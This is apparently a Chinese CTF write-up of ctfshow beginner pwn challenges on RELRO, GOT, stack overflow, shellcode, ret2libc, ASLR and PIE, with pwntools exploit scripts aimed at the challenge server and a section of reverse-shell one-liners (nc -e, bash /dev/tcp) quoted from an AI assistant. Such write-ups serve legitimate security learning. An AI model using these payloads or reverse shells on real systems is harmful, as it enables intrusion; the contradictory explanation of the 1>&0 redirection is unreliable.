  • 在子进程中:puts(“give you a shell! now you need to get flag!”) : 输出提示信息,表示给予用户一个shell,让其获取flag。

    • fclose() 关闭文件输出流。
    • read(0, &buf, 0x20uLL) 从标准输入中读取用户输入的命令,并存储在 buf 中
    • system(&buf) 执行用户输入的命令。
  • 我们可以使用了 exec 函数来执行sh命令,并使用 1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。

  • 具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后,进入一个交互式的Shell环境,可以在该环境中执行命令并与用户进行交互。

  • 也可以直接exec cat /ctf* 1>&0cat /ctf*命令的输出发送到标准输入,实际上就是将命令的输出再次输出到屏幕上。

    1. 执行cat命令exec系统调用用于替换当前进程的映像,即它将当前正在运行的程序替换成由其参数指定的新程序。在这个例子中,新程序是cat命令
    2. 查找并显示旗帜文件cat /ctf*这一部分意味着cat命令将尝试显示所有以ctf开头的文件的内容。假设存在一个名为ctfshow_flag的文件,那么cat命令将会显示它的内容。这是许多CTF竞赛中常见的做法,旗帜文件通常包含解题的关键
    3. 重定向标准输出到标准错误1>&0是输出重定向语法的一部分,这里的1指的是标准输出(stdout),0指的是标准输入(stdin)。&符号表示“复制描述符”。因此,1>&0意味着将标准输出重定向到标准错误输出(stderr)的位置,即原本标准输入被读取的地方。在大多数情况下,stderrstdout都默认连接到终端,但它们可以被分别重定向到不同的地方
    4. 规避父进程的输出捕获:在程序中,父进程在等待子进程结束后,会打印一条消息说“flag is not here!”。通过将cat命令的标准输出重定向到标准错误,我们可以利用子进程执行cat命令时的输出,而不是等待父进程的输出。由于父进程在wait之后立即调用了printf,它实际上是在读取标准输出,但我们的cat命令输出被重定向到了标准错误,因此不会被父进程捕获
    5. 利用子进程的shell:当用户在子进程中输入exec cat /ctf* 1>&0并执行时,子进程会被替换为cat命令,显示旗帜文件的内容,而这些内容不会被父进程看到,因为输出重定向到了标准错误,而不是标准输出
  • 这里限制了20个字节,**反弹shell**的话理论上也可行,感兴趣的可以自行去尝试

反弹shell(当然现在还不知道咋搞

  • 以下来自通义灵码回答,苯人还在探索怎么做
1. 选择反弹shell的命令

你需要一个简短的命令来建立一个从目标机器到你的机器的反向连接。对于基于bash的shell,你可以使用以下命令之一:

  • ncat: ncat -e /bin/bash <your IP> <your listening port>
  • netcat: nc <your IP> <your listening port> -e /bin/bash
  • bash: bash -c 'bash -i >& /dev/tcp/<your IP>/<your listening port> 0>&1'

其中 <your IP> 是你控制的机器的IP地址,<your listening port> 是你将在上面监听的端口。

2. 在你的机器上监听端口

在你的机器上,使用ncatnetcat来监听指定的端口。例如:

1
1ncat -lvnp <your listening port>
1
1nc -lvp <your listening port>

这将打开一个监听连接,等待目标机器的反向连接

3. 在目标机器上执行反弹shell命令

在目标机器上,你只有20个字节的输入空间。你需要确保你的反弹shell命令足够短小,同时包含必要的信息。例如,对于ncat命令,你可以这样输入:

1
1ncat -e /bin/bash IP PORT

但因为IP地址和端口号占用了不少字符,你需要精简这个命令。一种方法是使用bash命令,它通常更紧凑:

1
1bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"

但是由于字符限制,你可能需要进一步缩短IP地址,使用数字形式而不是域名,或者使用特殊的字符编码技术来减少字符数

4. 输入反弹shell命令

在目标机器的输入限制内,尽可能准确地输入反弹shell命令。例如,如果你的IP地址是192.168.1.1,并且你监听的端口是1234,你的命令可能是:

1
1bash -c "bash -i >& /dev/tcp/192.168.1.1/1234 0>&1"

但是由于字符限制,你可能需要进一步优化这个命令

示例

一个极端的压缩版本,假设你的IP地址是127.0.0.1和端口是4444

1
1bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

但是,请注意,127.0.0.1通常表示本地主机,所以在这个上下文中,你应当使用实际的IP地址

020 .got和.got.plt表

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn020/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位 仅开启NX保护,RELRO保护完全关闭

RELRO保护

  • RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。
  • 它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure LinkageTable,简称 PLT)的可写性来防止针对这些结构的攻击
三种状态
  1. No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指针,从而进行攻击。这是最弱的保护状态。

  2. Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。

  3. Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。

开始解题

  • checksec pwn
    [*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn020/pwn'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    64位  仅开了NX保护  RELRO完全关闭
    
    1
    2
    3

    - `objdump -R pwn` 用来显示可执行文件 `pwn` 中的动态重定位条目(dynamic relocation entries) 使用 `-R` 选项时,`objdump` 会输出所有动态重定位条目的列表

objdump -R pwn

pwn: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600f18 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000600f20 R_X86_64_GLOB_DAT gmon_start
0000000000600f40 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000600f48 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000600f50 R_X86_64_JUMP_SLOT strtol@GLIBC_2.2.5

1
2
3

- `readelf -S pwn` 查看表项地址

readelf -S pwn
There are 29 section headers, starting at offset 0x1878:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400200 00000200
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 000000000040021c 0000021c
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 000000000040023c 0000023c
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400260 00000260
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 0000000000400280 00000280
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400310 00000310
000000000000004b 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 000000000040035c 0000035c
000000000000000c 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400368 00000368
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400388 00000388
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003b8 000003b8
0000000000000048 0000000000000018 AI 5 22 8
[11] .init PROGBITS 0000000000400400 00000400
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400420 00000420
0000000000000040 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400460 00000460
0000000000000252 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006b4 000006b4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006c0 000006c0
000000000000053a 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400bfc 00000bfc
000000000000003c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400c38 00000c38
0000000000000100 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600d38 00000d38
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600d40 00000d40
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600d48 00000d48
00000000000001d0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600f18 00000f18
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000600f28 00000f28
0000000000000030 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000600f58 00000f58
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000600f68 00000f68
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00000f68
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00000f98
00000000000005e8 0000000000000018 27 43 8
[27] .strtab STRTAB 0000000000000000 00001580
00000000000001f1 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001771
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)

1
2
3

- 提取关键部分:

[21] .got PROGBITS 0000000000600f18 00000f18
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000600f28 00000f28
0000000000000030 0000000000000008 WA 0 0 8

1
2
3
4
5

- `.got` `600f18`
- `.got.plt` `600f28`
- 测试一下:

./pwn 600f18
RELRO: 52454c52

ctfshow@ubuntu:~/Desktop/ctfshow-pwn-primary/pwn020$ ./pwn 600f28
RELRO: 52454c52

1
2
3
4
5
6
7
8

- 发现程序正常执行,.got表和.got.plt表都可写
- ctfshow{1_1_0x600f18_0x600f28}



### 021 .got和.got.plt表

checksec pwn
[*] ‘/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn021/pwn’
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位 NX关闭 RELRO保护部分开启

1

objdump -R pwn

pwn: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT gmon_start
0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT strtol@GLIBC_2.2.5

readelf -S pwn
There are 29 section headers, starting at offset 0x1950:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002b8 000002b8
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400348 00000348
000000000000004b 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 0000000000400394 00000394
000000000000000c 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 00000000004003a0 000003a0
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 00000000004003c0 000003c0
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003f0 000003f0
0000000000000048 0000000000000018 AI 5 22 8
[11] .init PROGBITS 0000000000400438 00000438
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400450 00000450
0000000000000040 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400490 00000490
0000000000000252 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006e4 000006e4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006f0 000006f0
000000000000053a 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400c2c 00000c2c
000000000000003c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400c68 00000c68
0000000000000100 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600e10 00000e10
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600e18 00000e18
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600e20 00000e20
00000000000001d0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000030 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000601030 00001030
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000601040 00001040
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00001040
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00001070
00000000000005e8 0000000000000018 27 43 8
[27] .strtab STRTAB 0000000000000000 00001658
00000000000001f1 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001849
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)

1

[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000030 0000000000000008 WA 0 0 8

1
2
3
4

- 程序头多了GNU_RELRO,将.dynamic 、.got标记为只读权限(R),那么在重定向完成后,动态链接器就会将这个区域保护起来
- 写.got表的时候就会抛出异常,而写.got.plt依旧正常

./pwn 600ff0
Segmentation fault

ctfshow@ubuntu:~/Desktop/ctfshow-pwn-primary/pwn021$ ./pwn 601000
RELRO: 52454c52

1
2
3
4
5
6
7

- ctfshow{0_1_0x600ff0_0x601000}



### 022 .got和.got.plt表

checksec pwn
[*] ‘/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn022/pwn’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位 完全开启了RELRO保护

1

readelf -S pwn
There are 28 section headers, starting at offset 0x1900:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002b8 000002b8
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400348 00000348
000000000000004b 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 0000000000400394 00000394
000000000000000c 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 00000000004003a0 000003a0
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 00000000004003c0 000003c0
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003f0 000003f0
0000000000000048 0000000000000018 AI 5 21 8
[11] .init PROGBITS 0000000000400438 00000438
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400450 00000450
0000000000000040 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400490 00000490
0000000000000252 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006e4 000006e4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006f0 000006f0
000000000000053a 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400c2c 00000c2c
000000000000003c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400c68 00000c68
0000000000000100 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600dc0 00000dc0
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600dc8 00000dc8
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600dd0 00000dd0
00000000000001f0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600fc0 00000fc0
0000000000000040 0000000000000008 WA 0 0 8
[22] .data PROGBITS 0000000000601000 00001000
0000000000000010 0000000000000000 WA 0 0 8
[23] .bss NOBITS 0000000000601010 00001010
0000000000000008 0000000000000000 WA 0 0 1
[24] .comment PROGBITS 0000000000000000 00001010
0000000000000029 0000000000000001 MS 0 0 1
[25] .symtab SYMTAB 0000000000000000 00001040
00000000000005d0 0000000000000018 26 42 8
[26] .strtab STRTAB 0000000000000000 00001610
00000000000001f1 0000000000000000 0 0 1
[27] .shstrtab STRTAB 0000000000000000 00001801
00000000000000fa 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)

1

[21] .got PROGBITS 0000000000600fc0 00000fc0
0000000000000040 0000000000000008 WA 0 0 8

1
2
3

- 没有了.got.plt,且.got也不可写

./pwn 600fc0

Segmentation fault // 抛出了异常

1
2
3
4
5

- ctfshow{0_0_0x600fc0}

### 023 溢出?

checksec pwn
[*] ‘/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn023/pwn’
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位 开启NX保护 部分开启RELRO保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler); // 注册信号处理器 不懂喵= =
v3 = getegid(); // 获取当前进程的有效组ID
setresgid(v3, v3, v3, v5, v6, v7, v3); // 尝试设置进程的实时组ID 但是不懂= =

// 美术部分
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");


if ( argc > 1 ) // 检测是否有额外的命令行参数,并将第一个命令行参数作为参数传递给该函数
ctfshow((char *)argv[1]);
return 0;
}

char *__cdecl ctfshow(char *src)
{
char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

return strcpy(dest, src);
}
/* 接受一个字符串参数 src ,并使用 strcpy 函数将该字符串复制到名
为 dest 的缓冲区中。然后,它返回指向 dest 缓冲区的指针 */
  • 当未开启Canary保护时,输入字符串长度超过了 dest 缓冲区的大小,这可能导致缓冲区溢出漏洞
1
2
3
4
./pwn aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

flag{just_test_my_process! }
// 本地测试,懒得连远程

024 pwntools-shellcraft

  • hint:可以使用pwntools的shellcraft模块来进行攻击
1
2
3
4
5
6
7
8
9
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn024/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
32位 仅开启RELRO保护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
看汇编
以下是ctfshow函数

.text:080484C6 public ctfshow
.text:080484C6 ctfshow proc near ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf = byte ptr -88h
.text:080484C6 var_4 = dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6 push ebp
.text:080484C7 mov ebp, esp
.text:080484C9 push ebx
.text:080484CA sub esp, 84h
.text:080484D0 call __x86_get_pc_thunk_bx
.text:080484D5 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB sub esp, 4
.text:080484DE push 100h ; nbytes
.text:080484E3 lea eax, [ebp+buf]
.text:080484E9 push eax ; buf
.text:080484EA push 0 ; fd
.text:080484EC call _read
.text:080484F1 add esp, 10h
.text:080484F4 sub esp, 0Ch
.text:080484F7 lea eax, [ebp+buf]
.text:080484FD push eax ; s
.text:080484FE call _puts
.text:08048503 add esp, 10h
.text:08048506 lea eax, [ebp+buf]
.text:0804850C call eax
.text:0804850E nop
.text:0804850F mov ebx, [ebp+var_4]
.text:08048512 leave
.text:08048513 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow endp
  1. 函数开始时进行一些栈操作,保存寄存器的值。

  2. 调用 __x86_get_pc_thunk_bx 函数,获取当前的指令位置并存储在 ebx 寄存器中。

  3. 分配 0x84 字节的空间用于缓冲区,存储用户输入的数据。

  4. 调用 read 函数,从标准输入读取数据,并存储到缓冲区。

  5. 调用 puts 函数,将缓冲区的内容打印到标准输出。

  6. 通过调用 call eax 指令,以 eax 寄存器的值作为函数指针,跳转到缓冲区中存储的地址执行。

  7. 之后是一些清理工作和函数返回的准备操作

  • 这题题目提示了可以使用pwntools的shellcraft模块进行攻击
  • shellcraft 模块是 pwntools 库中的一个子模块,用于生成各种不同体系结构的 Shellcode。
  • Shellcode 是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。
  • shellcraft 模块提供了一系列函数和方法,用于生成特定体系结构下的 Shellcode
1
2
3
4
5
6
7
from pwn import *	 # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
#io = process('./pwn') # 本地连接
io = remote("pwn.challenge.ctf.show", 28119) # 远程连接
shellcode = asm(shellcraft.sh()) # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标主机
io.interactive() # 与目标主机进行交互

025 开启NX保护+ret2libc

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn025/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位 开启NX保护 部分开启RELRO保护
  • 开启NX保护,部分开启RELRO保护 → 具体攻击手法为:ret2libc
  • 即先找到栈溢出漏洞,通过write函数泄露 write 函数的真实地址,根据泄露的 write 函数地址,使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址,获取 system 函数和**“/bin/sh” 字符串的地址**。构造新的 payload,使用泄露的 system 函数和 “/bin/sh” 字符串的地址来进行get shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *  # 用于漏洞利用
from LibcSearcher import * # 用于查找libc版本中的符号地址

context.log_level = 'debug'

# 远程连接
#io = process('./pwn')
#io = remote('127.0.0.1',10000)
io = remote("pwn.challenge.ctf.show", 28177)


elf = ELF('./pwn') # 创建elf对象
main = elf.sym['main'] # 获取main函数地址
write_got = elf.got['write'] # 获取write GOT(全局偏移表)地址
write_plt = elf.plt['write'] # 获取write PLT(过程链接表)地址
payload = cyclic(0x88+0x4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4) # 泄漏write函数在libc中的地址。这里使用了cyclic函数生成填充字节,p32函数将地址转换为小端字节序的字节串

# 发送payload并接收响应
io.sendline(payload)
write = u32(io.recv(4))
print hex(write)

# 使用LibcSearcher类查找与泄漏的write函数地址匹配的libc版本
libc = LibcSearcher('write',write)

# 计算libc库的基地址
libc_base = write - libc.dump('write')

# 获取system和/bin/sh地址
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
# 使用已知的libc基地址和LibcSearcher类来获取system函数和/bin/sh字符串的地址

# 构造一个新的payload,这次是为了调用system函数并传递/bin/sh作为参数
payload = cyclic(0x88+0x4) + p32(system) + p32(main) + p32(bin_sh)

# 发送payload并等待响应,然后进入交互模式,允许用户与远程shell进行交互
io.sendline(payload)
io.interactive()

026 ASLR 0

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn026/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位 开启NX保护 部分开启RELRO保护 PIE未开启
  • ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。

  • 它通过**随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位**置,从而增加了利用软件漏洞进行攻击的难度

  • 开启不同等级会有不同的效果:

    1. 内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。

    2. 地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。

    3. 随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发现这些偏移量,才能准确地定位和利用漏洞。

    4. 堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,使得攻击者无法轻易地覆盖返回地址或控制程序流程

  • 在Linux中,ALSR的全局配置/proc/sys/kernel/randomize_va_space有三种情况:

    • 0表示关闭ALSR
    • 1表示部分开启(将mmap的基址、stack和vdso页面随机化)
    • 2表示完全开启
alsrexecutablepltheapstackshared libraries
0xxxxx
1xxx
2xx
2+PIE
1
2
3
4
5
6
7
8
9
10
11
12
./pwn

cat /proc/sys/kernel/randomize_va_space
>>> 2

echo 0 > /proc/sys/kernel/randomize_va_space

cat /proc/sys/kernel/randomize_va_space
>>> 0

./pwn
得到真的flag

027 ASLR 0/1

  • 详细分析同026

028 ASLR 2

  • 此时不管等级为0 1 2 ,函数本身地址不会变化(在未开启PIE的情况下)
  • 详细分析同026

029 ASLR和PIE都开启

  • ASLR和PIE开启后,地址都会将随机化
  • 这里值得注意的是,由于粒度问题,虽然地址都被随机化了,但是被随机化的都仅仅是某个对象的起始地址,而在其内部还是原来的结构
  • 也就是相对偏移是不会变化的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
./pwn

* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanisms
* Site : https://ctf.show/
* Hint : Please confirm your ASLR level first !
* *************************************
sh: 1: cannot create /proc/sys/kernel/randomize_va_space: Permission denied
Here is your ASLR level:
2

Let's take a look at protection:
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn029/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
executable: 0x5585483d383a
system@plt: 0x7f8a6ad62420
heap: 0x558549735260
stack: 0x7ffc4481e7c4

As you can see, the protection has been fully turned on and the address has been completely randomized!

Here is your flag:
ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

030 PIE关闭

  • 关闭PIE
  • 程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。
1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn030/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位 PIE关闭 开启NX 部分开启RELRO保护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
puts(asc_8048710);
puts(asc_8048784);
puts(asc_8048800);
puts(asc_804888C);
puts(asc_804891C);
puts(asc_80489A0);
puts(asc_8048A34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
